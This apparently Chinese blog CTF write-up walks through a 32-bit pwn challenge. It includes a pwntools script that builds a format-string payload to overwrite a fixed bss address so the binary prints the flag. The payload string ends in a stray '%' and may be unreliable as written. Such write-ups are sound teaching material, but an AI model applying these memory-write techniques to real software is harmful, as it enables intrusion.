好不容易等到了第六届大学生信息安全大赛,打了也有四五届了吧。这次靶机难得遇到一道pwn题,好气的是比赛前晚上竟然系统崩了,万幸的是最后又复活了。第二天打比赛的时候,才发现我Kali虚拟机上的pwntool完全崩掉了。哎……

今晚正好有点时间,正好做了一下。

下下来题显示是xxx.key文件,然后查了一下是elf的32位,我一开始还以为是ssh的什么密钥攻击呢……然后IDA 分析

 

 

 

 

没别的东西,直接进locker函数

 

 

 

 

 

 

 

 

 

会发现是一个printf的缓冲区溢出。

确定一下key变量的位置,他是位于bss段

很明确的固定地址0x0804A030,将其覆盖成0x2223322,他会使用/bin/cat读取当前目录下的flag

附上shellcode

#!/usr/bin/env python

__author__='croot@xcroot.com'


from pwn import *


p = process('./sdnisc')

trash = 'root'

key_address1 = p32(0x0804A030) + trash
key_address2 = p32(0x0804A031) + trash
key_address3 = p32(0x0804A032) + trash
key_address4 = p32(0x0804A033)

shellcode = key_address1 + key_address2 + key_address3 + key_address4 + '%x.' * 10 + '%192x%n%17x%n%239x%n%'


p.sendline(shellcode)
p.interactive()

 

页面下部广告

发表评论

电子邮件地址不会被公开。 必填项已用*标注

*

鲁ICP备17018668号-1